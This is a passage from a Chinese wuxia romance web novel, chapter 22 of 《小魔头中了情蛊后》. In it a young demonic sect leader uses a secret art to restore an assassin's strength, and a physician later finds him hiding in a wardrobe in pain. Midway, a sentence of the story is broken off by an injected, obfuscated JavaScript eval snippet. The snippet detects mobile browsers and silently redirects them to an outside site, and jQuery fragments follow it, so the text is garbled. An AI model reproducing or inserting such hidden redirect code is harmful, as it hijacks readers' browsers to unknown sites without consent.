22. 22

作品:《小魔头中了情蛊后

    厢房内陷入死一般的沉默。


    高鸿喜脸色更是青灰无比,嘴唇哆嗦着,不住喃喃:“难道真的一点办法都没有了吗……”


    没人能回答他这个问题。


    李常意也不语,目光落到杀手身上,倏地问:“你实力如何?如果内力完全恢复,你能对付黄泉楼几个人?”


    这一嗓子犹如一颗投入平寂湖面的石子,几乎在瞬间就掀起了波澜。


    杀手顶着众人凝聚来的视线,说道:“若我内力完全恢复,只要黄泉楼派出不超过三个人,我便有把握从他们手底下救人。”


    高鸿喜也从这一来一回的对话中觉察到些许生机,急忙问:“这位,这位少侠,你可是有办法营救我儿?”


    李常意冷淡摆手:“营救谈不上,我只是想起有一种秘法,可以让无面人的内力暂时恢复,甚至恢复以后,实力还会比他巅峰时期更强上一截。”


    “但这种秘法只能维持十二个时辰,十二个时辰一过,他的经脉便会遭受反噬,剧痛倒在其次,只要用过此秘法,他的功力怕是要全废了。”


    众人目光随着他这番话俱是一亮、又一暗。


    杀手反倒成了最冷静的那个:“只要能救出练雪,这些都无所谓。”


    高鸿喜强忍激动,对他抱了一拳:“此间种种,是我高家欠你,若我儿能脱险,你们之间的事情,爱如何便如何,我再无二话。”


    又转身对墙边少年道:“这位少侠,你既对这恢复内力之法如此熟谙,想必是精通此道的高人。只要你肯出手相助,不论什么条件,我高家倾家荡产也为你办到!”


    李常意笑了笑,当真应下了:“好啊,我确实有个条件。”


    高鸿喜:“少侠请说。”


    少年抬起手,修长食指突然移向旁边的佟露。


    佟露:“……?”又关我什么事?


    少年嗓音清冽,睁眼说瞎话:“她这次从回春谷出来历练,对各种疑难杂症极是感兴趣,碰巧听说睦王府后院有位夫人身患罕见之症,数十年也无人能医,便很想挑战一番,只是苦于没有门路,所以才到普华寺前摆摊治病,以扬名气。”


    高鸿喜眼中闪过一抹惊讶,很快咬牙应下:“那位夫人的事,在丰都城也不算是秘密,神医既有此愿,高某必当全力举荐!”


    “那个……”


    佟露举手打断两人旁若无人的交易,“我先确认一下,如果我没办法医好那位夫人的病,会不会有什么责罚?”


    高鸿喜道:“王爷宅心仁厚,断不会随意降罪于人,何况那位夫人的情况……已经医治了十多年,也没什么好转,想必王爷心里都清楚。”


    听了这话,佟露总算放下心来。


    约定好后日一早用秘法为杀手恢复内力,屋里的人就散了,佟露紧紧跟在李常意身后,走到无人处,她一把揪住了少年袖子。


    “你说要我救的那个女人,就是王爷府的夫人?”


    李常意不得不回头看她,“嗯。”


    佟露好奇道:“她是你什么人啊?你和王爷府还有关系?”


    李常意默了一会儿,忽然问:“你对我的事很感兴趣?”


    佟露被噎住,脸上好似有把火在烧:“什、什么叫很感兴趣……我就是随口问一句,谁让你一直神神秘秘的,那我只能在心里乱猜啊。”


    李常意微微挑眉,“哦”了一声,竟也没同她争辩,迈开长腿走远了。


    佟露:……?


    没从当事人嘴里问出事情的真相,佟露只好自己发挥想象。


    已知睦王爷是当今天子皇弟,人到中年,四十余岁,那位得了怪病的夫人应该也与他年纪相仿,算算年纪,她该不会是那小魔头的娘亲吧?!


    ……好像真有可能。


    佟露脑子里瞬间脑补了一场少年幼时被魔教掳走,卧薪尝胆十余年终成魔教头子,四处寻亲却发现亲人身患怪病、见面不相识的悲惨大戏。


    于是到了第二日,她望向少年的眼神里都充满怜爱。


    李常意被她看得鸡皮疙瘩都起来了,“你磕到脑子了?”


    佟露微笑。


    不就是性格恶劣点嘛,可以理解。


    李常意皱了皱眉,抬手把面前一盆素鱼翅倒进了自己碗里。


    佟露笑容一滞。


    李常意放下空盆,一抬筷子,又准备把酿豆腐全夹走。


    这下佟露终于忍不住了,捉住他手腕,怒道:“你要干什么?”


    李常意望着她表情,皱紧的眉头缓缓舒展开,翘起腿往后一靠:“我还想问你要干什么呢,刚才那副样子真像鬼上身,现在才顺眼一点。”


    佟露气极:“你才鬼上身!不对,你就是只恶鬼!饿死鬼!素鱼翅还我!”


    不依不饶好半晌,最终她还是从李常意碗里扒拉出了一半素鱼翅。


    一顿晚饭鸡飞狗跳吃完。


    -


    四月初九清晨,李常意应约用秘法给无面人恢复内力。


    这次他把所有人都赶出了房间,连佟露都没留。


    耗费的时间也颇有些久,日头渐渐从云层里爬出来的时候,房中仍是没有传出任何动静。


    高鸿喜焦急地在屋檐下来回踱步,何班头也拧着眉,望着满院子整装待发的衙役们沉默不语。


    阎王帖里虽然已经明确要求只能无面人一人独身前往石寒山赴约,但经过昨天一昼夜的商讨,何班头等人还是决定在离石寒山稍远的地方驻扎些人马,以做接应。


    日头爬上树梢时,紧闭的房门终于“嘎吱”一声打开了。


    出来的是一袭黑衣的杀手。


    何班头和高鸿喜立即围了上去:“如何?内力都恢复了吗?”


    杀手微微点了下头,两人便长松一口气,转头召集人手下山。


    等满院子人都鱼贯撤出,环境立刻变得冷清,微风吹动树叶发出簌簌的响。


    李常意也就在这时撑着门框出现在了门后。


    他的脸色有些发白,眉心浅浅蹙着,大约因为不太适应突如其来的光线,他的眼睛闭了一下,再睁开,佟露已经奔到他近前:


    “你不舒服吗?”


    李常意:“没有。”


    佟露:“……”这人迟早有一天会死于嘴硬。


    和他多说无益,佟露直接攥起他手腕,正要探脉,却被反应过来的少年一把挥开。


    少年眼神阴沉锐利,好似一只时刻保持警惕的兽:“你胆子真是越来越大了。”


    佟露:哪里比得过你。


    她好言相劝:“你嘴巴都没有血色了,就不要逞强了吧,而且你也是为了救人才搞成这副样子的,说出来又不丢脸。”


    李常意冷冷一扯嘴角:“谁说我是为了救人?”


    佟露顺毛道:“好好好,你不救人,你不救人。”


    李常意眉头皱得更紧:“总之我没事,别再跟着我。”


    他说完,就往院外走去。


    在原地踌躇片刻,佟露还是跟了上去。


    这人死鸭子嘴硬,万一晕在哪个角落没人看见就糟了。


    少年自然也知道身后缀着条小尾巴,但他既没回头,也没心情说什么刻薄的话,一直走到这些天常住的厢房,他跨腿进屋,反手就“砰”地关了门。


    被门板扫过的风刮乱头发的佟露:“……”


    行叭。


    反正人已经安全回屋了。


    -


    一早晨,隔壁厢房都是静悄悄的。


    佟露也没太在意,趁着空闲,她还给自己远在回春谷的师父写了封报平安的信。


    午时,隔壁厢房依然安静,佟露敲了几下门都没人应,便自己去斋堂领饭吃了。


    由


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469706|184433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    于在睦州人生地不熟,也没个捎信的人,吃过午饭,佟露特意找寺里负责采买的小师父询问丰都城各大镖局和递信铺子的位置。


    小师父十分热情,不仅帮她在地图上圈画出了位置,还仔细地告诉了她这些镖局和铺子在百姓当中的风评,诸如哪家做生意最讲诚信、哪家递信的速度最快等等。


    佟露有了考量,便信心满满地拿着信下山。


    寄过信,她也没急着回去。


    这些天因为摆摊她挣了不少钱,自然得在街上好好逛逛,最好是吃了晚饭再回去。


    普华寺的斋饭虽好吃,但她确实馋荤腥了。


    这一逛就逛到日落西山。


    在酒楼吃饱喝足,佟露提着满当当一串零嘴玩意儿打道回府。


    爬到普华寺山门前时,天色已经彻底擦黑,山下灯火纷至亮起,宛如星河闪烁。


    她就蓦地想到李常意。


    也不知他好点了没,有没有出来吃晚饭……


    压下满脑子莫名其妙的念头,佟露提着一串零嘴玩意儿,先是去找了采买小师父,用几包时兴的糕点谢过他先前的帮助,然后便回了住处。


    远远地,就看见厢房一片漆黑,房里竟然没点灯。


    佟露咯噔一下,心道整整一天,这只嘴硬的死鸭子都没出过门吗?


    她犹豫了会儿,决定无视早前少年的警告,上去敲门。


    “喂,你醒着吗?”


    “你好点了没?”


    “出什么事了?你要是听见了回个话呀!”


    “……”


    一声接一声,房中就是没有传出任何回应,佟露脸色逐渐变得凝重,直接改敲为推,谁知门板居然从里面反锁了。


    人确实还在房间里。


    可敲了这么久里面都没个响,难不成真是出事了?


    佟露登时有点着急,立马扔掉手上东西,绕到屋后准备爬窗。


    所幸窗子没锁,她费了好些力气才爬进去,一落地还没站稳,又磕到了窗脚的凳子,膝盖立即传来锥心之痛。


    她冷“嘶”一声,一边揉着伤处,一边睁大眼睛往里看。


    厢房很黑,伸手不见五指,连窗边的桌椅都只能勉强看清个轮廓,佟露掏出随身携带的火折子,点燃了蜡烛,整间房才骤然亮堂起来。


    出乎意料的是,房间中并无人。


    狭小的厢房空空荡荡,陈设一览无余,连床榻上的被子都还维持着早晨起床后整齐叠好的模样,似乎从没有人回来过。


    佟露不信邪,明明早上她是看着他进屋的。


    她一瘸一拐地四处巡视,终于在经过墙角衣柜时,听到了一阵压抑而急促的呼吸声。


    ——在这!


    她眼神一亮,拉开柜门。


    少年果真藏在柜子里,只是状态极其糟糕。


    他的脸色早已苍白如纸,额头冷汗涔涔,乌黑卷曲的发丝被打湿,眼睛也紧紧闭着,睫毛止不住地颤动,仿佛在忍受着莫大痛苦。


    与之相对的是他的嘴唇,竟是如血般嫣红。


    佟露皱了皱眉,仔细一看,才发现那哪是如血般嫣红,那就是血!


    少年刚拆了绷带的右手搭在膝上,一片血肉模糊,显然是咬的。


    佟露就记起初见时,少年肩头那个鲜血淋漓的大洞。


    连长满倒刺的毒箭,他都能一声不吭自己拔掉,如今该是多大的痛苦,才不得不以咬破手掌来发泄……


    “是早晨用了秘法才弄成这个样子的吗?喂,醒醒呀,你总该告诉我要怎么救你。”


    佟露蹙眉戳了戳他脸颊。


    少年也确实被她戳得睁开了眼睛。


    只感到肩膀一痛,佟露还没来得及看清状况,整个人便被他拖入衣柜,死死抵在角落。


    纤细洁白的脖颈处,也扼上一只冰凉染血的手掌。